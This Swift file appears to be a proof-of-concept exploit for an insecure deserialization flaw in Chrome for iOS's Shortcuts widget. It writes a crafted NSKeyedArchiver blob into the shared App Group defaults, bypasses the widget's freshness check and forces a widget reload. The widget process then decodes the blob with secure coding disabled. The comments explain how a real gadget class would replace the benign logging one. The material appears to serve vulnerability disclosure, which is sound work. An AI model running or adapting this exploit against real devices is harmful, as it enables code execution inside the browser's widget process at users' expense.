// stage_payload.swift
//
// POC stager — run this from inside ANY Chrome iOS app extension that is a
// member of the `group.<prefix>.chrome` App Group (e.g. the Share extension,
// Open extension, CredentialProvider extension, or Push Notification
// extension). It writes a malicious NSKeyedArchiver blob into the shared
// NSUserDefaults suite under the key that the WidgetKit Shortcuts widget
// reads with secure coding DISABLED.
//
// After staging, force a widget refresh:
//     WidgetCenter.shared.reloadTimelines(ofKind: "ShortcutsWidget")
// or simply wait for iOS to refresh the Home-Screen widget on its own
// schedule. The WidgetKit extension process will then call
// loadMostVisitedSitesEntry() → NSKeyedUnarchiver.decodeObject(forKey:)
// with requiresSecureCoding = false on the attacker-controlled blob.

import Foundation
import WidgetKit

/// A stand-in "gadget" class. In a real attack this would be replaced by any
/// Objective-C class linked into the WidgetKit extension whose
/// -initWithCoder: / -dealloc has a useful side-effect. Because the
/// vulnerable reader disables secure coding and uses an *untyped*
/// decodeObject(forKey:), the unarchiver will happily instantiate ANY class
/// named in the archive — it need not conform to NSSecureCoding.
///
/// For a benign demonstration that the sink is reached, archive an object
/// graph whose root is NOT [NSURL: NTPTile] (e.g. an NSArray containing an
/// NSException-adjacent gadget). The post-decode `as? [NSURL: NTPTile]` cast
/// will fail and the widget will render empty — but by then -initWithCoder:
/// has already executed on every class in the archive.
@objc(POCGadget)
class POCGadget: NSObject, NSCoding {
  // Intentionally NOT NSSecureCoding — proves the allowlist is bypassed.
  func encode(with coder: NSCoder) {
    coder.encode("reached", forKey: "marker")
  }
  required init?(coder: NSCoder) {
    // In the victim (WidgetKit) process this line runs during
    // unarchiver.decodeObject(forKey: NSKeyedArchiveRootObjectKey).
    NSLog("[POC] -initWithCoder: executed in process %d", getpid())
    super.init()
  }
  override init() { super.init() }
}

func stagePayload() {
  // Same suite the WidgetKit extension opens via
  // AppGroupHelper.groupUserDefaults().
  // Replace <IOS_BUNDLE_ID_PREFIX> with the concrete prefix for the build
  // under test (e.g. "com.google" for the official build).
  let suiteName = "group.<IOS_BUNDLE_ID_PREFIX>.chrome"
  guard let sharedDefaults = UserDefaults(suiteName: suiteName) else {
    NSLog("[POC] failed to open shared suite %@", suiteName)
    return
  }

  // 1. Satisfy the freshness gate at shortcuts_widget.swift:184-218.
  //    The reader looks up lastModificationDate[gaia] and bails to
  //    expiredEntry if it is older than 4 weeks. Writing "now" guarantees
  //    we pass.
  sharedDefaults.set(["Default": Date()],
                     forKey: "SuggestedItemsLastModificationDateForMIM")

  // 2. Build the malicious archive.
  //    Root object is a dictionary keyed by NSURL so it superficially
  //    resembles the legitimate [NSURL: NTPTile] shape, but the value is a
  //    gadget instance. The untyped decodeObject() materialises the entire
  //    graph — including POCGadget.initWithCoder: — BEFORE the
  //    `as? [NSURL: NTPTile]` cast runs.
  let gadget = POCGadget()
  let root: [NSURL: Any] = [NSURL(string: "https://poc.example/")!: gadget]

  let archiver = NSKeyedArchiver(requiringSecureCoding: false)
  archiver.encode(root, forKey: NSKeyedArchiveRootObjectKey)
  archiver.finishEncoding()
  let blob = archiver.encodedData

  // 3. Store under the gaia key the unconfigured widget selects.
  //    AccountQuery.defaultResult() returns AccountDetail(id: "Default", …),
  //    so loadMostVisitedSitesEntry() iterates the dict and picks
  //    data["Default"].
  sharedDefaults.set(["Default": blob], forKey: "SuggestedItemsForMIM")
  sharedDefaults.synchronize()

  NSLog("[POC] payload staged (%d bytes) in %@", blob.count, suiteName)

  // 4. Kick the widget so iOS re-runs timeline(for:in:) immediately.
  WidgetCenter.shared.reloadTimelines(ofKind: "ShortcutsWidget")
}